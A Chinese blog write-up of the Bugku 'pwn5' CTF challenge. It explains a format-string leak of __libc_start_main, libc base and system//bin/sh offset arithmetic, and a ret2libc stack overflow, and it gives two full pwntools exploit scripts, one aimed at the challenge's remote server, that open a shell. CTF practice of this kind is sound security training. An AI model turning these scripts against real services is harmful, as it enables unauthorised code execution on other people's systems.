bugku pwn5

这篇博客详细介绍了如何利用bugku平台上的pwn5挑战中的字符串格式化漏洞来获取libc_start_main的地址,进一步计算出system和/bin/sh的地址,以实现栈溢出攻击。首先,通过特定格式的输入泄露rip的偏移,然后计算libc_start_main的地址,最后确定system和/bin/sh的地址,为payload构造提供基础。
摘要由CSDN通过智能技术生成

1、有字符串格式化漏洞,通过该漏洞可以打印出栈里rip上libc_start_main的真实地址(需要算出偏移)

2、有libc_start_main的真实地址,即找到该地址在lib表内相对于lib_base真实地址的偏移,及system和bin/sh相对于libc_base的偏移

3、lib_base_addr加上system在lib表中的偏移,即可找到system的真实地址,lib_base_addr加上bin/sh在lib表中的偏移,即可找到bin/sh的真实地址,将这些地址覆盖至栈内。

 

为解决以上三个问题:

1、要泄露libc_start_main,就需要知道 rip 对于指针的偏移位置。 rip 的偏移可以基于变量 s 的偏移计算出来。所以需要先找变量 s 的偏移。

#encoding:utf-8
from pwn import *

context.log_level = 'debug'

n = 1
while 1:
	p = process("./human")
	p.recvuntil("?\n")
	p.sendline("aaaa%{}$p".format(n))#通过给的回显,查看n为多少时,打印出了栈空间内的‘aaaa’,n即为偏移的栈空间数目
	recv = p.recvuntil("?\n")
	print recv
	if '61616161' in recv:
		break
	else:
		n += 1

通过回显“aaaa%6$p”(64位,8字节栈空间),得到当偏移为6时,读到了栈内我们输入进去的字符串,因此可以得出s相对于格式化字符串指针的偏移为6,偏移为6处,是s[0]。

数组定义时可知s[0] 与 rbp 的距离是 0x20(32字节,4个栈空间),rbp再高地址是rip。因此rip的偏移即 (6-1) + 4 + 1 +1=11

【无关数据栈空间+数组栈空间+rbp栈空间+1】

2、%11$p本应打印出来的就是libc_start_main的真实地址,但是本处泄露出来的是__libc_start_main+240,因此libc_start_main的真实地址为打印出的地址0x2d830-240,减后的地址为0xxxxxx740,start_main的真实地址。通过工具,算出该地址针对libc_base的偏移。及system和bin/sh对于libc_base的偏移。

3、libc_base的地址:libc_base=int(libc_start_main_addr,16)-0x20830,构造payload

#encoding:utf-8
#基于libc.so文件
from pwn import *

context.log_level = 'debug'

# 偏移计算
'''
n = 1
while 1:
	p = process("./human")
	p.recvuntil("?\n")
	p.sendline("aaaa%{}$p".format(n))
	recv = p.recvuntil("?\n")
	print recv
	if '61616161' in recv:
		break
	else:
		n += 1
'''

p = process("./human")
#p = remote("114.116.54.89", "10005")
elf = ELF("./human")
libc = ELF("./libc.so")


#ROPgadget --binary libc.so --only "pop|ret"
pop_rdi = 0x400933 # ROPgadget查到的地址,将bin/sh的值通过rdi寄存器传给system函数
gezi = "鸽子"
zhenxiang = "真香"

# leak __libc_start_main
print p.recvuntil("?\n")
p.send("%11$p")
main_addr = eval(p.recvuntil("%11$p",True))-240#main的真实地址
log.info("main_addr = "+hex(main_addr))

# leak libc_base_addr
libc_base_addr = main_addr - libc.symbols['__libc_start_main']#main真实地址减去偏移0x20830
log.info("libc_base_addr = "+hex(libc_base_addr))

# leak system_addr
system_addr = libc_base_addr + libc.symbols['system']#libc_base地址加上偏移0x0000000000045390
log.info("system_addr = "+hex(system_addr))

# leak /bin/sh
binsh_addr = libc_base_addr + libc.search("/bin/sh").next()#libc_base地址加上偏移0x18cd57
log.info("binsh_addr = "+hex(binsh_addr))

# overflow
print p.recvuntil("还有什么本质?")
payload = (gezi+zhenxiang).ljust(0x20+8,"A")
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()

无libc.so文件的脚本:

#coding=utf-8
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
#p=process('./human')
p=remote('114.116.54.89','10005')
print p.recvuntil("?\n")

payload1="%11$p"
p.sendline(payload1)
p.recvline()

libc_start_main_addr=p.recvuntil("%11$p")[:-6]#64位elf前6个参数为寄存器传参
#libc中函数的实际地址=libc基地址+函数偏移地址

libc_base=int(libc_start_main_addr,16)-0x20830

sys_add=0x0000000000045390
bin_sh=0x18cd57
pop_rdi_ret=0x400933


sys_abs=libc_base+sys_add
bin_abs=libc_base+bin_sh

p.recvuntil("人类还有什么本质?\n")

payload2="鸽子"
payload2+="真香"
payload2=payload2.ljust(0x20,'a')
payload2+='bbbbbbbb'+p64(pop_rdi_ret)+p64(bin_abs)+p64(sys_abs)

p.sendline(payload2)
p.interactive()


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值